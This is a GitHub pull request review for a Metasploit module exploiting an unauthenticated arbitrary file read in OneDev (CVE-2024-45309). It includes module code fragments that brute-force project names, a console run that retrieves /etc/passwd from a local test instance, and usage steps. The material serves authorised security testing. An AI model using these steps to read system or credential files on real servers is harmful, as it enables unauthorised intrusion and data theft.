-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
OneDev Unauthenticated Arbitrary File Read (CVE-2024-45309) #19614
base: master
Are you sure you want to change the base?
Conversation
documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md
Outdated
Show resolved
Hide resolved
fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name | ||
|
||
fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This will validate twice that the project is valid. It's not super-duper-critical, but it would be nice to minimize the amount of requests :)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes I agree that this double check is redundant, I updated this section on c9e0668 to validate the project name only with the user-provided project name
def find_project | ||
print_status 'Bruteforcing a valid project name…' | ||
|
||
File.open(datastore['PROJECT_NAMES_FILE'], 'rb').each do |project| |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I noticed there is no PROJECT_NAMES_FILE
included in the PR. Could you add a guard here incase the file doesn't exist to prevent the module from failing?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I used as the PROJECT_NAMES_FILE
option fallback a metasploit wordlist namelist.txt
that exists in every metasploit installation. Even if the provided file path doesn't exist, the module doesn't crash because it throws a validation error (Msf::OptionValidateError
) before running the module.
The only thing I can do is to remove the default fallback path for the case that somehow the default wordlist file doesn't exist.
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This will run the check method automagically
include Msf::Exploit::Remote::HttpClient | |
include Msf::Exploit::Remote::HttpClient | |
prepend Msf::Exploit::Remote::AutoCheck |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The reason why I didn't place the autocheck is to prevent the module execution interruption when the target OneDev instance doesn't have anonymous access enabled, since in this case, the check function fails to detect if the OneDev instance is vulnerable, even thought it is. Should I still enable the autocheck in this case?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If the version check only works when anonymous access enabled and it's not enabled by default I would suggest trying to exploit the vulnerability as a part of the check method.
This auxiliary module does something similar:
if res.body.include? 'root:x:0:0:root:' |
It exploits the vulnerability, reads /etc/passwd
off the affected system and ensures the file starts with root:x:0:0:root
.
On a related note, I noticed it is possible to install OneDev on Windows. Do you know if this vuln is exploitable on Windows has you considered adding support for it? Just curious as if you did go this route in the check method you might have to account for OneDev being installed on Windows.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the responses @vultza. Things are looking good, just a couple comments. Testing was as expected 👍
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME my_vulnerable_project
PROJECT_NAME => my_vulnerable_project
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set rport 6610
rport => 6610
ryumsf6 auxiliary(gather/onedev_arbitrary_file_read) > run
[*] Running module against 127.0.0.1
[+] /etc/passwd file retrieved with success.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
[*] Auxiliary module execution completed
|
||
|
||
### TARGETFILE | ||
Absolule file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Absolule file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default. | |
Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default. |
|
||
### PROJECT_NAME | ||
A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server, | ||
any visitor can see the existing projects, and colllect a valid project name. On the other hand, if anonymous access is disabled, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
any visitor can see the existing projects, and colllect a valid project name. On the other hand, if anonymous access is disabled, | |
any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled, |
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If the version check only works when anonymous access enabled and it's not enabled by default I would suggest trying to exploit the vulnerability as a part of the check method.
This auxiliary module does something similar:
if res.body.include? 'root:x:0:0:root:' |
It exploits the vulnerability, reads /etc/passwd
off the affected system and ensures the file starts with root:x:0:0:root
.
On a related note, I noticed it is possible to install OneDev on Windows. Do you know if this vuln is exploitable on Windows has you considered adding support for it? Just curious as if you did go this route in the check method you might have to account for OneDev being installed on Windows.
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
Verification
A vulnerable Docker image version (
v11.0.8
) can be found here.use auxiliary/gather/onedev_arbitrary_file_read
RHOSTS
andRPORT
options as necessaryTARGETFILE
option with the absolute path of the target file to readIf a valid project name is known:
PROJECT_NAME
option with the known project namerun
If there is no information about existing projects:
PROJECT_NAMES_FILE
option with the absolute path of a wordlist that contains multiple possible values for a valid project namerun